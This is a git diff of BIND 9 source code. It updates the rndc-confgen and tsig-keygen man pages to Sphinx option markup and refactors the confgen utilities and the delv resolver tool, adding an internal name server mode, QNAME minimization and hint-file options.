-   This option is used with the ``-a`` option to specify an alternate location for
+.. option:: -c keyfile
+
+   This option is used with the :option:`-a` option to specify an alternate location for
    ``rndc.key``.
 
-``-h``
+.. option:: -h
+
    This option prints a short summary of the options and arguments to
-   ``rndc-confgen``.
+   :program:`rndc-confgen`.
 
-``-k keyname``
-   This option specifies the key name of the ``rndc`` authentication key. This must be a
+.. option:: -k keyname
+
+   This option specifies the key name of the :iscman:`rndc` authentication key. This must be a
    valid domain name. The default is ``rndc-key``.
 
-``-p port``
-   This option specifies the command channel port where ``named`` listens for
-   connections from ``rndc``. The default is 953.
+.. option:: -p port
+
+   This option specifies the command channel port where :iscman:`named` listens for
+   connections from :iscman:`rndc`. The default is 953.
+
+.. option:: -q
 
-``-q``
    This option prevets printing the written path in automatic configuration mode.
 
-``-s address``
-   This option specifies the IP address where ``named`` listens for command-channel
-   connections from ``rndc``. The default is the loopback address
+.. option:: -s address
+
+   This option specifies the IP address where :iscman:`named` listens for command-channel
+   connections from :iscman:`rndc`. The default is the loopback address
    127.0.0.1.
 
-``-t chrootdir``
-   This option is used with the ``-a`` option to specify a directory where ``named``
+.. option:: -t chrootdir
+
+   This option is used with the :option:`-a` option to specify a directory where :iscman:`named`
    runs chrooted. An additional copy of the ``rndc.key`` is
    written relative to this directory, so that it is found by the
-   chrooted ``named``.
+   chrooted :iscman:`named`.
+
+.. option:: -u user
 
-``-u user``
-   This option is used with the ``-a`` option to set the owner of the generated ``rndc.key`` file.
-   If ``-t`` is also specified, only the file in the chroot
+   This option is used with the :option:`-a` option to set the owner of the generated ``rndc.key`` file.
+   If :option:`-t` is also specified, only the file in the chroot
    area has its owner changed.
 
 Examples
 ~~~~~~~~
 
-To allow ``rndc`` to be used with no manual configuration, run:
+To allow :iscman:`rndc` to be used with no manual configuration, run:
 
 ``rndc-confgen -a``
 
-To print a sample ``rndc.conf`` file and the corresponding ``controls`` and
-``key`` statements to be manually inserted into ``named.conf``, run:
+To print a sample :iscman:`rndc.conf` file and the corresponding ``controls`` and
+``key`` statements to be manually inserted into :iscman:`named.conf`, run:
 
-``rndc-confgen``
+:program:`rndc-confgen`
 
 See Also
 ~~~~~~~~
 
-:manpage:`rndc(8)`, :manpage:`rndc.conf(5)`, :manpage:`named(8)`, BIND 9 Administrator Reference Manual.
+:iscman:`rndc(8) <rndc>`, :iscman:`rndc.conf(5) <rndc.conf>`, :iscman:`named(8) <named>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/confgen/tsig-keygen.c b/bin/confgen/tsig-keygen.c
index 11f65e0426..620717c626 100644
--- a/bin/confgen/tsig-keygen.c
+++ b/bin/confgen/tsig-keygen.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -28,19 +30,13 @@
 #include <isc/file.h>
 #include <isc/mem.h>
 #include <isc/net.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
 #include <isc/time.h>
 #include <isc/util.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include <dns/keyvalues.h>
 #include <dns/name.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
@@ -57,7 +53,7 @@ const char *progname;
 static enum { progmode_keygen, progmode_confgen } progmode;
 bool verbose = false; /* needed by util.c but not used here */
 
-ISC_NORETURN static void
+noreturn static void
 usage(int status);
 
 static void
@@ -101,11 +97,6 @@ main(int argc, char **argv) {
 	int len = 0;
 	int ch;
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	result = isc_file_progname(*argv, program, sizeof(program));
 	if (result != ISC_R_SUCCESS) {
 		memmove(program, "tsig-keygen", 11);
@@ -129,14 +120,14 @@ main(int argc, char **argv) {
 	} else if (PROGCMP("ddns-confgen")) {
 		progmode = progmode_confgen;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	isc_commandline_errprint = false;
 
 	while ((ch = isc_commandline_parse(argc, argv, "a:hk:Mmr:qs:y:z:")) !=
-	       -1) {
+	       -1)
+	{
 		switch (ch) {
 		case 'a':
 			algname = isc_commandline_argument;
@@ -217,7 +208,7 @@ main(int argc, char **argv) {
 	}
 
 	/* Use canonical algorithm name */
-	algname = alg_totext(alg);
+	algname = dst_hmac_algorithm_totext(alg);
 
 	isc_mem_create(&mctx);
 
diff --git a/bin/confgen/tsig-keygen.rst b/bin/confgen/tsig-keygen.rst
index 0d709b4122..7420bede43 100644
--- a/bin/confgen/tsig-keygen.rst
+++ b/bin/confgen/tsig-keygen.rst
@@ -1,101 +1,54 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. highlight: console
 
+.. BEWARE: Do not forget to edit also ddns-confgen.rst!
 
-.. highlight: console
+.. iscman:: tsig-keygen
+.. program:: tsig-keygen
+.. _man_tsig-keygen:
 
-tsig-keygen, ddns-confgen - TSIG key generation tool
-----------------------------------------------------
+tsig-keygen - TSIG key generation tool
+--------------------------------------
 
 Synopsis
 ~~~~~~~~
-:program:`tsig-keygen` [**-a** algorithm] [**-h**] [**-r** randomfile] [name]
-
-:program:`ddns-confgen` [**-a** algorithm] [**-h**] [**-k** keyname] [**-q**] [**-r** randomfile] [**-s** name] [**-z** zone]
+:program:`tsig-keygen` [**-a** algorithm] [**-h**] [name]
 
 Description
 ~~~~~~~~~~~
 
-``tsig-keygen`` and ``ddns-confgen`` are invocation methods for a
-utility that generates keys for use in TSIG signing. The resulting keys
-can be used, for example, to secure dynamic DNS updates to a zone, or for
-the ``rndc`` command channel.
-
-When run as ``tsig-keygen``, a domain name can be specified on the
-command line to be used as the name of the generated key. If no
-name is specified, the default is ``tsig-key``.
+:program:`tsig-keygen` is an utility that generates keys for use in TSIG signing.
+The resulting keys can be used, for example, to secure dynamic DNS updates
+to a zone, or for the :iscman:`rndc` command channel.
 
-When run as ``ddns-confgen``, the key name can specified using ``-k``
-parameter and defaults to ``ddns-key``. The generated key is accompanied
-by configuration text and instructions that can be used with ``nsupdate``
-and ``named`` when setting up dynamic DNS, including an example
-``update-policy`` statement. (This usage is similar to the ``rndc-confgen``
-command for setting up command-channel security.)
-
-Note that ``named`` itself can configure a local DDNS key for use with
-``nsupdate -l``; it does this when a zone is configured with
-``update-policy local;``. ``ddns-confgen`` is only needed when a more
-elaborate configuration is required: for instance, if ``nsupdate`` is to
-be used from a remote system.
+A domain name can be specified on the command line to be used as the name
+of the generated key. If no name is specified, the default is ``tsig-key``.
 
 Options
 ~~~~~~~
 
-``-a algorithm``
+.. option:: -a algorithm
+
    This option specifies the algorithm to use for the TSIG key. Available
    choices are: hmac-md5, hmac-sha1, hmac-sha224, hmac-sha256, hmac-sha384,
    and hmac-sha512. The default is hmac-sha256. Options are
    case-insensitive, and the "hmac-" prefix may be omitted.
 
-``-h``
-   This option prints a short summary of options and arguments.
-
-``-k keyname``
-   This option specifies the key name of the DDNS authentication key. The
-   default is ``ddns-key`` when neither the ``-s`` nor ``-z`` option is
-   specified; otherwise, the default is ``ddns-key`` as a separate label
-   followed by the argument of the option, e.g., ``ddns-key.example.com.``
-   The key name must have the format of a valid domain name, consisting of
-   letters, digits, hyphens, and periods.
+.. option:: -h
 
-``-q`` (``ddns-confgen`` only)
-   This option enables quiet mode, which prints only the key, with no
-   explanatory text or usage examples. This is essentially identical to
-   ``tsig-keygen``.
-
-``-s name`` (``ddns-confgen`` only)
-   This option generates a configuration example to allow dynamic updates
-   of a single hostname. The example ``named.conf`` text shows how to set
-   an update policy for the specified name using the "name" nametype. The
-   default key name is ``ddns-key.name``. Note that the "self" nametype
-   cannot be used, since the name to be updated may differ from the key
-   name. This option cannot be used with the ``-z`` option.
-
-``-z zone`` (``ddns-confgen`` only)
-   This option generates a configuration example to allow
-   dynamic updates of a zone. The example ``named.conf`` text shows how
-   to set an update policy for the specified zone using the "zonesub"
-   nametype, allowing updates to all subdomain names within that zone.
-   This option cannot be used with the ``-s`` option.
+   This option prints a short summary of options and arguments.
 
 See Also
 ~~~~~~~~
 
-:manpage:`nsupdate(1)`, :manpage:`named.conf(5)`, :manpage:`named(8)`, BIND 9 Administrator Reference Manual.
+:iscman:`nsupdate(1) <nsupdate>`, :iscman:`named.conf(5) <named.conf>`, :iscman:`named(8) <named>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/confgen/util.c b/bin/confgen/util.c
index 70afa2bc09..23b7f3fd57 100644
--- a/bin/confgen/util.c
+++ b/bin/confgen/util.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,7 +19,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 
-#include <isc/print.h>
+#include <isc/tls.h>
 
 extern bool verbose;
 extern const char *progname;
@@ -43,5 +45,6 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	exit(1);
 }
diff --git a/bin/confgen/util.h b/bin/confgen/util.h
index 3426e70b7e..4ac83e5143 100644
--- a/bin/confgen/util.h
+++ b/bin/confgen/util.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,15 +11,13 @@
  * information regarding copyright ownership.
  */
 
-#ifndef RNDC_UTIL_H
-#define RNDC_UTIL_H 1
+#pragma once
 
 /*! \file */
 
 #include <isc/attributes.h>
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
-#include <isc/platform.h>
 
 #define NS_CONTROL_PORT 953
 
@@ -36,9 +36,7 @@ ISC_LANG_BEGINDECLS
 void
 notify(const char *fmt, ...) ISC_FORMAT_PRINTF(1, 2);
 
-ISC_NORETURN void
+noreturn void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 ISC_LANG_ENDDECLS
-
-#endif /* RNDC_UTIL_H */
diff --git a/bin/delv/Makefile.am b/bin/delv/Makefile.am
index 54050232bf..032da0e545 100644
--- a/bin/delv/Makefile.am
+++ b/bin/delv/Makefile.am
@@ -4,8 +4,8 @@ AM_CPPFLAGS +=				\
 	-I$(top_builddir)/include	\
 	$(LIBISC_CFLAGS)		\
 	$(LIBDNS_CFLAGS)		\
-	$(LIBISCCFG_CFLAGS)		\
-	$(LIBIRS_CFLAGS)
+	$(LIBNS_CFLAGS)			\
+	$(LIBISCCFG_CFLAGS)
 
 AM_CPPFLAGS +=				\
 	-DSYSCONFDIR=\"${sysconfdir}\"
@@ -14,8 +14,9 @@ bin_PROGRAMS = delv
 
 delv_SOURCES =				\
 	delv.c
+
 delv_LDADD =				\
 	$(LIBISC_LIBS)			\
 	$(LIBDNS_LIBS)			\
-	$(LIBISCCFG_LIBS)		\
-	$(LIBIRS_LIBS)
+	$(LIBNS_LIBS)			\
+	$(LIBISCCFG_LIBS)
diff --git a/bin/delv/delv.c b/bin/delv/delv.c
index b1af11d8c4..ce22835ef5 100644
--- a/bin/delv/delv.c
+++ b/bin/delv/delv.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -23,50 +25,58 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/attributes.h>
 #include <isc/base64.h>
 #include <isc/buffer.h>
 #include <isc/hex.h>
-#include <isc/lib.h>
 #include <isc/log.h>
 #include <isc/managers.h>
 #include <isc/md.h>
 #include <isc/mem.h>
 #include <isc/netmgr.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
+#include <isc/random.h>
+#include <isc/result.h>
 #include <isc/sockaddr.h>
-#include <isc/socket.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/timer.h>
+#include <isc/tls.h>
 #include <isc/util.h>
 
+#include <dns/acl.h>
 #include <dns/byaddr.h>
+#include <dns/cache.h>
 #include <dns/client.h>
+#include <dns/dispatch.h>
 #include <dns/fixedname.h>
 #include <dns/keytable.h>
 #include <dns/keyvalues.h>
-#include <dns/lib.h>
 #include <dns/log.h>
 #include <dns/masterdump.h>
+#include <dns/message.h>
 #include <dns/name.h>
 #include <dns/rdata.h>
 #include <dns/rdataclass.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
+#include <dns/request.h>
 #include <dns/result.h>
+#include <dns/rootns.h>
 #include <dns/secalg.h>
+#include <dns/stats.h>
 #include <dns/view.h>
 
 #include <dst/dst.h>
-#include <dst/result.h>
 
 #include <isccfg/log.h>
 #include <isccfg/namedconf.h>
 
+#include <ns/client.h>
+#include <ns/interfacemgr.h>
+#include <ns/server.h>
+
 #include <irs/resconf.h>
 
 #define CHECK(r)                             \
@@ -79,33 +89,54 @@
 #define MAXNAME (DNS_NAME_MAXTEXT + 1)
 
 /* Variables used internally by delv. */
-char *progname;
+char *progname = NULL;
 static isc_mem_t *mctx = NULL;
 static isc_log_t *lctx = NULL;
+static dns_view_t *view = NULL;
+static ns_server_t *sctx = NULL;
+static ns_interface_t *ifp = NULL;
+static dns_dispatch_t *dispatch = NULL;
+static dns_db_t *roothints = NULL;
+static isc_stats_t *resstats = NULL;
+static dns_stats_t *resquerystats = NULL;
+static FILE *logfp = NULL;
+
+/* Managers */
+static isc_nm_t *netmgr = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
+static dns_dispatchmgr_t *dispatchmgr = NULL;
+static dns_requestmgr_t *requestmgr = NULL;
+static ns_interfacemgr_t *interfacemgr = NULL;
+
+/* TLS */
+static isc_tlsctx_cache_t *tlsctx_client_cache = NULL;
 
 /* Configurables */
 static char *server = NULL;
 static const char *port = "53";
+static uint32_t destport = 53;
 static isc_sockaddr_t *srcaddr4 = NULL, *srcaddr6 = NULL;
 static isc_sockaddr_t a4, a6;
 static char *curqname = NULL, *qname = NULL;
 static bool classset = false;
 static dns_rdatatype_t qtype = dns_rdatatype_none;
 static bool typeset = false;
+static const char *hintfile = NULL;
 
 static unsigned int styleflags = 0;
 static uint32_t splitwidth = 0xffffffff;
 static bool showcomments = true, showdnssec = true, showtrust = true,
 	    rrcomments = true, noclass = false, nocrypto = false, nottl = false,
 	    multiline = false, short_form = false, print_unknown_format = false,
-	    yaml = false;
+	    yaml = false, fulltrace = false;
 
 static bool resolve_trace = false, validator_trace = false,
-	    message_trace = false;
+	    message_trace = false, send_trace = false;
 
 static bool use_ipv4 = true, use_ipv6 = true;
 
 static bool cdflag = false, no_sigs = false, root_validation = true;
+static bool qmin = false, qmin_strict = false;
 
 static bool use_tcp = false;
 
@@ -116,7 +147,10 @@ static int num_keys = 0;
 static dns_fixedname_t afn;
 static dns_name_t *anchor_name = NULL;
 
-/* Default bind.keys contents */
+static dns_master_style_t *style = NULL;
+static dns_fixedname_t qfn;
+
+/* Default trust anchors */
 static char anchortext[] = TRUST_ANCHORS;
 
 /*
@@ -183,8 +217,12 @@ usage(void) {
 		"records)\n"
 		"                 +[no]mtrace         (Trace messages "
 		"received)\n"
+		"                 +[no]ns             (Run internal name "
+		"server)\n"
 		"                 +[no]multiline      (Print records in an "
 		"expanded format)\n"
+		"                 +[no]qmin[=mode]    (QNAME minimization: "
+		"relaxed or strict)\n"
 		"                 +[no]root           (DNSSEC validation trust "
 		"anchor)\n"
 		"                 +[no]rrcomments     (Control display of "
@@ -195,6 +233,8 @@ usage(void) {
 		"                 +[no]short          (Short form answer)\n"
 		"                 +[no]split=##       (Split hex/base64 fields "
 		"into chunks)\n"
+		"                 +[no]strace         (Trace messages "
+		"sent)\n"
 		"                 +[no]tcp            (TCP mode)\n"
 		"                 +[no]ttl            (Control display of ttls "
 		"in records)\n"
@@ -210,7 +250,7 @@ usage(void) {
 	exit(1);
 }
 
-ISC_NORETURN static void
+noreturn static void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 static void
@@ -223,6 +263,7 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	exit(1);
 }
 
@@ -274,6 +315,7 @@ setup_logging(FILE *errout) {
 	isc_result_t result;
 	isc_logdestination_t destination;
 	isc_logconfig_t *logconfig = NULL;
+	int packetlevel = 10;
 
 	isc_log_create(mctx, &lctx, &logconfig);
 	isc_log_registercategories(lctx, categories);
@@ -326,9 +368,12 @@ setup_logging(FILE *errout) {
 		}
 	}
 
-	if (message_trace && loglevel < 10) {
+	if (send_trace) {
+		packetlevel = 11;
+	}
+	if ((message_trace || send_trace) && loglevel < packetlevel) {
 		isc_log_createchannel(logconfig, "messages", ISC_LOG_TOFILEDESC,
-				      ISC_LOG_DEBUG(10), &destination,
+				      ISC_LOG_DEBUG(packetlevel), &destination,
 				      ISC_LOG_PRINTPREFIX);
 
 		result = isc_log_usechannel(logconfig, "messages",
@@ -418,9 +463,8 @@ print_status(dns_rdataset_t *rdataset) {
 	}
 }
 
-static isc_result_t
-printdata(dns_rdataset_t *rdataset, dns_name_t *owner,
-	  dns_master_style_t *style) {
+static void
+printdata(dns_rdataset_t *rdataset, dns_name_t *owner) {
 	isc_result_t result = ISC_R_SUCCESS;
 	static dns_trust_t trust;
 	static bool first = true;
@@ -432,12 +476,13 @@ printdata(dns_rdataset_t *rdataset, dns_name_t *owner,
 	if (!dns_rdataset_isassociated(rdataset)) {
 		char namebuf[DNS_NAME_FORMATSIZE];
 		dns_name_format(owner, namebuf, sizeof(namebuf));
-		delv_log(ISC_LOG_DEBUG(4), "WARN: empty rdataset %s", namebuf);
-		return (ISC_R_SUCCESS);
+		delv_log(ISC_LOG_DEBUG(4), "warning: empty rdataset %s",
+			 namebuf);
+		return;
 	}
 
 	if (!showdnssec && rdataset->type == dns_rdatatype_rrsig) {
-		return (ISC_R_SUCCESS);
+		return;
 	}
 
 	if (first || rdataset->trust != trust) {
@@ -460,7 +505,8 @@ printdata(dns_rdataset_t *rdataset, dns_name_t *owner,
 			     result = dns_rdataset_next(rdataset))
 			{
 				if ((rdataset->attributes &
-				     DNS_RDATASETATTR_NEGATIVE) != 0) {
+				     DNS_RDATASETATTR_NEGATIVE) != 0)
+				{
 					continue;
 				}
 
@@ -484,7 +530,8 @@ printdata(dns_rdataset_t *rdataset, dns_name_t *owner,
 		} else {
 			dns_indent_t indent = { "  ", 2 };
 			if (!yaml && (rdataset->attributes &
-				      DNS_RDATASETATTR_NEGATIVE) != 0) {
+				      DNS_RDATASETATTR_NEGATIVE) != 0)
+			{
 				isc_buffer_putstr(&target, "; ");
 			}
 			result = dns_master_rdatasettotext(
@@ -509,16 +556,11 @@ printdata(dns_rdataset_t *rdataset, dns_name_t *owner,
 	if (t != NULL) {
 		isc_mem_put(mctx, t, len);
 	}
-
-	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-setup_style(dns_master_style_t **stylep) {
+setup_style(void) {
 	isc_result_t result;
-	dns_master_style_t *style = NULL;
-
-	REQUIRE(stylep != NULL && *stylep == NULL);
 
 	styleflags |= DNS_STYLEFLAG_REL_OWNER;
 	if (yaml) {
@@ -559,9 +601,6 @@ setup_style(dns_master_style_t **stylep) {
 						48, 80, 8, splitwidth, mctx);
 	}
 
-	if (result == ISC_R_SUCCESS) {
-		*stylep = style;
-	}
 	return (result);
 }
 
@@ -569,7 +608,7 @@ static isc_result_t
 convert_name(dns_fixedname_t *fn, dns_name_t **name, const char *text) {
 	isc_result_t result;
 	isc_buffer_t b;
-	dns_name_t *n;
+	dns_name_t *n = NULL;
 	unsigned int len;
 
 	REQUIRE(fn != NULL && name != NULL && text != NULL);
@@ -581,7 +620,7 @@ convert_name(dns_fixedname_t *fn, dns_name_t **name, const char *text) {
 
 	result = dns_name_fromtext(n, &b, dns_rootname, 0, NULL);
 	if (result != ISC_R_SUCCESS) {
-		delv_log(ISC_LOG_ERROR, "failed to convert QNAME %s: %s", text,
+		delv_log(ISC_LOG_ERROR, "failed to convert name %s: %s", text,
 			 isc_result_totext(result));
 		return (result);
 	}
@@ -591,7 +630,7 @@ convert_name(dns_fixedname_t *fn, dns_name_t **name, const char *text) {
 }
 
 static isc_result_t
-key_fromconfig(const cfg_obj_t *key, dns_client_t *client) {
+key_fromconfig(const cfg_obj_t *key, dns_client_t *client, dns_view_t *toview) {
 	dns_rdata_dnskey_t dnskey;
 	dns_rdata_ds_t ds;
 	uint32_t rdata1, rdata2, rdata3;
@@ -616,6 +655,8 @@ key_fromconfig(const cfg_obj_t *key, dns_client_t *client) {
 	} anchortype;
 	const cfg_obj_t *obj;
 
+	REQUIRE(client != NULL || toview != NULL);
+
 	keynamestr = cfg_obj_asstring(cfg_tuple_get(key, "name"));
 	CHECK(convert_name(&fkeyname, &keyname, keynamestr));
 
@@ -709,9 +750,15 @@ key_fromconfig(const cfg_obj_t *key, dns_client_t *client) {
 		CHECK(dns_rdata_fromstruct(NULL, dnskey.common.rdclass,
 					   dnskey.common.rdtype, &dnskey,
 					   &rrdatabuf));
-		CHECK(dns_client_addtrustedkey(client, dns_rdataclass_in,
-					       dns_rdatatype_dnskey, keyname,
-					       &rrdatabuf));
+		if (client != NULL) {
+			CHECK(dns_client_addtrustedkey(
+				client, dns_rdataclass_in, dns_rdatatype_dnskey,
+				keyname, &rrdatabuf));
+		} else if (toview != NULL) {
+			CHECK(dns_view_addtrustedkey(toview,
+						     dns_rdatatype_dnskey,
+						     keyname, &rrdatabuf));
+		}
 		break;
 	case INITIAL_DS:
 	case STATIC_DS:
@@ -752,9 +799,14 @@ key_fromconfig(const cfg_obj_t *key, dns_client_t *client) {
 
 		CHECK(dns_rdata_fromstruct(NULL, ds.common.rdclass,
 					   ds.common.rdtype, &ds, &rrdatabuf));
-		CHECK(dns_client_addtrustedkey(client, dns_rdataclass_in,
-					       dns_rdatatype_ds, keyname,
-					       &rrdatabuf));
+		if (client != NULL) {
+			CHECK(dns_client_addtrustedkey(
+				client, dns_rdataclass_in, dns_rdatatype_ds,
+				keyname, &rrdatabuf));
+		} else if (toview != NULL) {
+			CHECK(dns_view_addtrustedkey(toview, dns_rdatatype_ds,
+						     keyname, &rrdatabuf));
+		}
 	}
 
 	num_keys++;
@@ -778,7 +830,7 @@ key_fromconfig(const cfg_obj_t *key, dns_client_t *client) {
 }
 
 static isc_result_t
-load_keys(const cfg_obj_t *keys, dns_client_t *client) {
+load_keys(const cfg_obj_t *keys, dns_client_t *client, dns_view_t *toview) {
 	const cfg_listelt_t *elt, *elt2;
 	const cfg_obj_t *key, *keylist;
 	isc_result_t result = ISC_R_SUCCESS;
@@ -788,9 +840,10 @@ load_keys(const cfg_obj_t *keys, dns_client_t *client) {
 		keylist = cfg_listelt_value(elt);
 
 		for (elt2 = cfg_list_first(keylist); elt2 != NULL;
-		     elt2 = cfg_list_next(elt2)) {
+		     elt2 = cfg_list_next(elt2))
+		{
 			key = cfg_listelt_value(elt2);
-			CHECK(key_fromconfig(key, client));
+			CHECK(key_fromconfig(key, client, toview));
 		}
 	}
 
@@ -802,23 +855,18 @@ load_keys(const cfg_obj_t *keys, dns_client_t *client) {
 }
 
 static isc_result_t
-setup_dnsseckeys(dns_client_t *client) {
+setup_dnsseckeys(dns_client_t *client, dns_view_t *toview) {
 	isc_result_t result;
 	cfg_parser_t *parser = NULL;
 	const cfg_obj_t *trusted_keys = NULL;
 	const cfg_obj_t *managed_keys = NULL;
 	const cfg_obj_t *trust_anchors = NULL;
 	cfg_obj_t *bindkeys = NULL;
-	const char *filename = anchorfile;
 
 	if (!root_validation) {
 		return (ISC_R_SUCCESS);
 	}
 
-	if (filename == NULL) {
-		filename = SYSCONFDIR "/bind.keys";
-	}
-
 	if (trust_anchor == NULL) {
 		trust_anchor = isc_mem_strdup(mctx, ".");
 	}
@@ -829,26 +877,22 @@ setup_dnsseckeys(dns_client_t *client) {
 
 	CHECK(cfg_parser_create(mctx, dns_lctx, &parser));
 
-	if (access(filename, R_OK) != 0) {
-		if (anchorfile != NULL) {
+	if (anchorfile != NULL) {
+		if (access(anchorfile, R_OK) != 0) {
 			fatal("Unable to read key file '%s'", anchorfile);
 		}
-	} else {
-		result = cfg_parse_file(parser, filename, &cfg_type_bindkeys,
+
+		result = cfg_parse_file(parser, anchorfile, &cfg_type_bindkeys,
 					&bindkeys);
 		if (result != ISC_R_SUCCESS) {
-			if (anchorfile != NULL) {
-				fatal("Unable to load keys from '%s'",
-				      anchorfile);
-			}
+			fatal("Unable to load keys from '%s'", anchorfile);
 		}
-	}
-
-	if (bindkeys == NULL) {
+	} else {
 		isc_buffer_t b;
 
 		isc_buffer_init(&b, anchortext, sizeof(anchortext) - 1);
 		isc_buffer_add(&b, sizeof(anchortext) - 1);
+		cfg_parser_reset(parser);
 		result = cfg_parse_buffer(parser, &b, NULL, 0,
 					  &cfg_type_bindkeys, 0, &bindkeys);
 		if (result != ISC_R_SUCCESS) {
@@ -862,13 +906,13 @@ setup_dnsseckeys(dns_client_t *client) {
 	cfg_map_get(bindkeys, "trust-anchors", &trust_anchors);
 
 	if (trusted_keys != NULL) {
-		CHECK(load_keys(trusted_keys, client));
+		CHECK(load_keys(trusted_keys, client, toview));
 	}
 	if (managed_keys != NULL) {
-		CHECK(load_keys(managed_keys, client));
+		CHECK(load_keys(managed_keys, client, toview));
 	}
 	if (trust_anchors != NULL) {
-		CHECK(load_keys(trust_anchors, client));
+		CHECK(load_keys(trust_anchors, client, toview));
 	}
 	result = ISC_R_SUCCESS;
 
@@ -892,21 +936,15 @@ setup_dnsseckeys(dns_client_t *client) {
 
 static isc_result_t
 addserver(dns_client_t *client) {
-	struct addrinfo hints, *res, *cur;
+	struct addrinfo hints, *res = NULL, *cur = NULL;
 	int gaierror;
 	struct in_addr in4;
 	struct in6_addr in6;
-	isc_sockaddr_t *sa;
+	isc_sockaddr_t *sa = NULL;
 	isc_sockaddrlist_t servers;
-	uint32_t destport;
 	isc_result_t result;
 	dns_name_t *name = NULL;
 
-	result = parse_uint(&destport, port, 0xffff, "port");
-	if (result != ISC_R_SUCCESS) {
-		fatal("Couldn't parse port number");
-	}
-
 	ISC_LIST_INIT(servers);
 
 	if (inet_pton(AF_INET, server, &in4) == 1) {
@@ -946,14 +984,16 @@ addserver(dns_client_t *client) {
 		result = ISC_R_SUCCESS;
 		for (cur = res; cur != NULL; cur = cur->ai_next) {
 			if (cur->ai_family != AF_INET &&
-			    cur->ai_family != AF_INET6) {
+			    cur->ai_family != AF_INET6)
+			{
 				continue;
 			}
 			sa = isc_mem_get(mctx, sizeof(*sa));
-			memset(sa, 0, sizeof(*sa));
+			*sa = (isc_sockaddr_t){
+				.length = (unsigned int)cur->ai_addrlen,
+			};
 			ISC_LINK_INIT(sa, link);
 			memmove(&sa->type, cur->ai_addr, cur->ai_addrlen);
-			sa->length = (unsigned int)cur->ai_addrlen;
 			ISC_LIST_APPEND(servers, sa, link);
 		}
 		freeaddrinfo(res);
@@ -982,13 +1022,7 @@ findserver(dns_client_t *client) {
 	isc_result_t result;
 	irs_resconf_t *resconf = NULL;
 	isc_sockaddrlist_t *nameservers;
-	isc_sockaddr_t *sa, *next;
-	uint32_t destport;
-
-	result = parse_uint(&destport, port, 0xffff, "port");
-	if (result != ISC_R_SUCCESS) {
-		fatal("Couldn't parse port number");
-	}
+	isc_sockaddr_t *sa = NULL, *next = NULL;
 
 	result = irs_resconf_load(mctx, "/etc/resolv.conf", &resconf);
 	if (result != ISC_R_SUCCESS && result != ISC_R_FILENOTFOUND) {
@@ -1142,9 +1176,26 @@ plus_option(char *option) {
 			goto invalid_option;
 		}
 		break;
+	case 'h':
+		switch (cmd[1]) {
+		case 'i': /* hint */
+			if (state) {
+				if (value == NULL) {
+					fatal("+hint: must specify hint file");
+				}
+				hintfile = value;
+			} else {
+				hintfile = NULL;
+			}
+			break;
+		default:
+			goto invalid_option;
+		}
+		break;
 	case 'm':
 		switch (cmd[1]) {
